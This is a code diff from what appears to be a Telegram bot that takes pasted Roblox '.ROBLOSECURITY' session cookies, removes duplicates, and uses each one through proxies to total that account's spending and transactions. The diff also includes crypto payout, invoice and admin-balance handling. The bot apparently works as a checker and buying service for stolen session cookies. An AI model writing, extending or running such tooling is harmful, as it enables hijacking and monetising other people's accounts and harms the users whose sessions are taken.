"cursor": cursor,
}
async with session.get(
url,
params=params,
cookies={".ROBLOSECURITY": cookie},
proxy=proxy_url,
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
) as response:
if response.status == 429:
await asyncio.sleep(3)
continue
if response.status != 200:
break
data = await response.json()
for transaction in data.get("data", []):
total += transaction.get("currency", {}).get("amount", 0)
cursor = data.get("nextPageCursor")
if not cursor:
break
except Exception:
break
if total != 0:
total = int(str(total).strip("-"))
return total
async def get_year_donate(cookie, user_id, proxy=None) -> int:
url = (
f"https://economy.roblox.com/v2/users/{user_id}/transaction-totals"
"?timeFrame=Year&transactionType=summary"
)
try:
async with aiohttp.ClientSession() as session:
async with session.get(
url,
cookies={".ROBLOSECURITY": cookie.strip()},
allow_redirects=False,
proxy=f"http://{proxy}" if proxy else None,
timeout=aiohttp.ClientTimeout(total=REQUEST_TIMEOUT),
) as response:
if response.status == 200 and response.content_type == "application/json":
data = await response.json()
donate = data.get("purchasesTotal", 0)
if donate != 0:
donate = int(str(donate).strip("-"))
return donate
except Exception:
pass
return 0
+82
View File
@@ -0,0 +1,82 @@
from __future__ import annotations
import aiohttp
import logging
from config import CRYPTO_PAY_TOKEN
async def _get_usdt_rub_rate(session: aiohttp.ClientSession) -> float:
rate = 90.0
async with session.get(
"https://testnet-pay.crypt.bot/api/getExchangeRates",
headers={"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN},
) as response:
data = await response.json()
if data.get("ok"):
for item in data.get("result", []):
if item.get("source") == "USDT" and item.get("target") == "RUB":
rate = float(item["rate"])
break
return rate
async def create_crypto_check(amount_rub: float) -> str | None:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
usdt_rub = await _get_usdt_rub_rate(session)
amount_usdt = round(amount_rub / usdt_rub, 4)
async with session.post(
"https://testnet-pay.crypt.bot/api/createCheck",
headers=headers,
json={"asset": "USDT", "amount": str(amount_usdt)},
) as response:
data = await response.json()
if data.get("ok"):
return data["result"]["bot_check_url"]
except Exception as exc:
logging.error("crypto check: %s", exc)
return None
async def create_treasury_invoice(amount_rub: float) -> tuple[str, int, float] | None:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
usdt_rub = await _get_usdt_rub_rate(session)
amount_usdt = round(amount_rub / usdt_rub, 4)
async with session.post(
"https://testnet-pay.crypt.bot/api/createInvoice",
headers=headers,
json={
"asset": "USDT",
"amount": str(amount_usdt),
"description": f"Treasury +{amount_rub} RUB",
"payload": f"treasury_{amount_rub}",
},
) as response:
data = await response.json()
if data.get("ok"):
result = data["result"]
return result["pay_url"], int(result["invoice_id"]), amount_usdt
except Exception as exc:
logging.error("create_treasury_invoice: %s", exc)
return None
async def check_treasury_invoice(invoice_id: int) -> bool:
try:
headers = {"Crypto-Pay-API-Token": CRYPTO_PAY_TOKEN}
async with aiohttp.ClientSession() as session:
async with session.get(
f"https://testnet-pay.crypt.bot/api/getInvoices?invoice_ids={invoice_id}",
headers=headers,
) as response:
data = await response.json()
if data.get("ok"):
items = data.get("result", {}).get("items", [])
return bool(items and items[0].get("status") == "paid")
except Exception as exc:
logging.error("check_treasury_invoice: %s", exc)
return False
+12
View File
@@ -0,0 +1,12 @@
from aiogram.fsm.state import State, StatesGroup
class Form(StatesGroup):
admin_broadcast = State()
admin_edit_rate = State()
admin_min_withdraw = State()
admin_treasury_amount = State()
admin_user_balance_add = State()
admin_user_balance_sub = State()
admin_user_ban_reason = State()
admin_find_user = State()
View File
+51
View File
@@ -0,0 +1,51 @@
import logging
from aiogram.enums import ParseMode
from aiogram.types import CallbackQuery, FSInputFile
async def log_admin(bot, admin_id: int, text: str, log_bot=None) -> None:
try:
target = log_bot or bot
await target.send_message(admin_id, text, parse_mode=ParseMode.HTML)
except Exception as exc:
logging.error("log_admin: %s", exc)
async def log_admin_document(bot, admin_id: int, path: str, caption: str | None = None, log_bot=None) -> None:
try:
target = log_bot or bot
await target.send_document(
admin_id,
document=FSInputFile(path),
caption=caption,
parse_mode=ParseMode.HTML,
)
except Exception as exc:
logging.error("log_admin_document: %s", exc)
async def safe_edit(
cb: CallbackQuery,
text: str,
reply_markup=None,
parse_mode=ParseMode.HTML,
disable_web_page_preview: bool = False,
) -> None:
try:
await cb.message.edit_text(
text,
reply_markup=reply_markup,
parse_mode=parse_mode,
disable_web_page_preview=disable_web_page_preview,
)
except Exception:
try:
await cb.message.answer(
text,
reply_markup=reply_markup,
parse_mode=parse_mode,
disable_web_page_preview=disable_web_page_preview,
)
except Exception as exc:
logging.error("safe_edit fail: %s", exc)
+17
View File
@@ -0,0 +1,17 @@
def parse_cookies_text(text: str) -> tuple[list[str], int]:
valid = set()
duplicates = 0
for line in text.replace("\r", "").split("\n"):
line = line.strip()
if "_|WARNING:-DO-NOT-SHARE-THIS." not in line:
continue
try:
cookie = line.split("_|WARNING:-DO-NOT-SHARE-THIS.")[1].split()[0]
full = f"_|WARNING:-DO-NOT-SHARE-THIS.{cookie}"
if full in valid:
duplicates += 1
else:
valid.add(full)
except Exception:
pass
return list(valid), duplicates